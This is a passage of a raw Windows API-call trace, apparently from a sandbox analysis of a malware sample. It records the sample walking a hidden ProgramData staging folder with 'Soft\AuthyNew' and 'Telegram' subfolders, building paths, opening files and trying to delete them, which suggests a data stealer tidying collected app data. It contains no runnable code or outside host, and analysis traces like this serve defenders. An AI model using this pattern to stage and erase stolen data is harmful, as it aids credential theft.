lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33075616, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33075616, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33075616, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthyNew", cAlternateFileName="")) returned 1 [0102.146] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" [0102.146] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\" [0102.146] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\", lpString2="AuthyNew" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" [0102.146] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0102.146] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0102.146] lstrcatW (in: lpString1="\\Soft\\", lpString2="AuthyNew" | out: lpString1="\\Soft\\AuthyNew") returned="\\Soft\\AuthyNew" [0102.146] lstrcmpW (lpString1="AuthyNew", lpString2=".") returned 1 [0102.147] lstrcmpW (lpString1="AuthyNew", lpString2="..") returned 1 [0102.147] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" [0102.147] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\*.*" [0102.147] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33075616, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33075616, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33075616, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1798 [0102.147] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" [0102.147] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\" [0102.147] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\." [0102.147] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\AuthyNew" | out: lpString1="\\Soft\\AuthyNew") returned="\\Soft\\AuthyNew" [0102.147] lstrcatW (in: lpString1="\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="\\Soft\\AuthyNew\\") returned="\\Soft\\AuthyNew\\" [0102.147] lstrcatW (in: lpString1="\\Soft\\AuthyNew\\", lpString2="." | out: lpString1="\\Soft\\AuthyNew\\.") returned="\\Soft\\AuthyNew\\." [0102.147] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.147] FindNextFileW (in: hFindFile=0x6d1798, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33075616, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33075616, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33075616, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.147] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" [0102.147] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\" [0102.147] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew\\.." [0102.147] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Soft\\AuthyNew" | out: lpString1="\\Soft\\AuthyNew") returned="\\Soft\\AuthyNew" [0102.147] lstrcatW (in: lpString1="\\Soft\\AuthyNew", lpString2="\\" | out: lpString1="\\Soft\\AuthyNew\\") returned="\\Soft\\AuthyNew\\" [0102.147] lstrcatW (in: lpString1="\\Soft\\AuthyNew\\", lpString2=".." | out: lpString1="\\Soft\\AuthyNew\\..") returned="\\Soft\\AuthyNew\\.." [0102.147] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.147] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.147] FindNextFileW (in: hFindFile=0x6d1798, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33075616, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33075616, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33075616, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.148] FindClose (in: hFindFile=0x6d1798 | out: hFindFile=0x6d1798) returned 1 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112c48 [0102.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x2112c48, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", lpUsedDefaultChar=0x0) returned 61 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112db0 [0102.148] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c48 | out: hHeap=0x2110000) returned 1 [0102.148] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21168a8 [0102.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x21168a8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.148] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168a8 | out: hHeap=0x2110000) returned 1 [0102.148] PathMatchSpecW (pszFile="AuthyNew", pszSpec="*.*") returned 1 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0102.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112930 [0102.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", cchWideChar=61, lpMultiByteStr=0x2112930, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew", lpUsedDefaultChar=0x0) returned 61 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c90 [0102.148] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112930 | out: hHeap=0x2110000) returned 1 [0102.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\AuthyNew", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0102.148] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xf) returned 0x2113030 [0102.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft\\AuthyNew", cchWideChar=15, lpMultiByteStr=0x2113030, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Soft\\AuthyNew", lpUsedDefaultChar=0x0) returned 15 [0102.148] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113030 | out: hHeap=0x2110000) returned 1 [0102.148] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authynew"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.149] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0102.149] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0102.149] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.149] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft\\AuthyNew" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft\\authynew")) returned 0 [0102.149] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0102.149] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33075616, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33075616, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33075616, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthyNew", cAlternateFileName="")) returned 0 [0102.149] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0102.149] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0102.149] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x34) returned 0x33aac60 [0102.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x33aac60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", lpUsedDefaultChar=0x0) returned 52 [0102.149] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b70 [0102.149] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aac60 | out: hHeap=0x2110000) returned 1 [0102.149] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.149] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21168d8 [0102.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x21168d8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168d8 | out: hHeap=0x2110000) returned 1 [0102.150] PathMatchSpecW (pszFile="Soft", pszSpec="*.*") returned 1 [0102.150] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0102.150] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x34) returned 0x33aace0 [0102.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", cchWideChar=52, lpMultiByteStr=0x33aace0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft", lpUsedDefaultChar=0x0) returned 52 [0102.150] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112810 [0102.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aace0 | out: hHeap=0x2110000) returned 1 [0102.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0102.150] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x6) returned 0x2116938 [0102.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Soft", cchWideChar=6, lpMultiByteStr=0x2116938, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Soft", lpUsedDefaultChar=0x0) returned 6 [0102.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116938 | out: hHeap=0x2110000) returned 1 [0102.150] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112810 | out: hHeap=0x2110000) returned 1 [0102.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.150] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Soft" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\soft")) returned 0 [0102.150] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0102.150] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33753db6, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33753db6, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33753db6, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Telegram", cAlternateFileName="")) returned 1 [0102.150] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0102.150] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0102.150] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="Telegram" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" [0102.150] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0102.151] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0102.151] lstrcatW (in: lpString1="\\", lpString2="Telegram" | out: lpString1="\\Telegram") returned="\\Telegram" [0102.151] lstrcmpW (lpString1="Telegram", lpString2=".") returned 1 [0102.151] lstrcmpW (lpString1="Telegram", lpString2="..") returned 1 [0102.151] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" [0102.151] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\*.*" [0102.151] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33753db6, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33753db6, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33753db6, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0102.151] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" [0102.151] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\" [0102.151] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\." [0102.158] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Telegram" | out: lpString1="\\Telegram") returned="\\Telegram" [0102.158] lstrcatW (in: lpString1="\\Telegram", lpString2="\\" | out: lpString1="\\Telegram\\") returned="\\Telegram\\" [0102.158] lstrcatW (in: lpString1="\\Telegram\\", lpString2="." | out: lpString1="\\Telegram\\.") returned="\\Telegram\\." [0102.158] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.158] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33753db6, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33753db6, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33753db6, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.158] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram" [0102.158] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\" [0102.158] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram\\.." [0102.158] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Telegram" | out: lpString1="\\Telegram") returned="\\Telegram" [0102.158] lstrcatW (in: lpString1="\\Telegram", lpString2="\\" | out: lpString1="\\Telegram\\") returned="\\Telegram\\" [0102.158] lstrcatW (in: lpString1="\\Telegram\\", lpString2=".." | out: lpString1="\\Telegram\\..") returned="\\Telegram\\.." [0102.158] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.158] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.158] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33753db6, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x33753db6, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x33753db6, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.158] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0102.158] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0102.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x38) returned 0x33aaea0 [0102.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", cchWideChar=56, lpMultiByteStr=0x33aaea0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Telegram", lpUsedDefaultChar=0x0) returned 56 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c90 [0102.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaea0 | out: hHeap=0x2110000) returned 1 [0102.159] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.159] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, 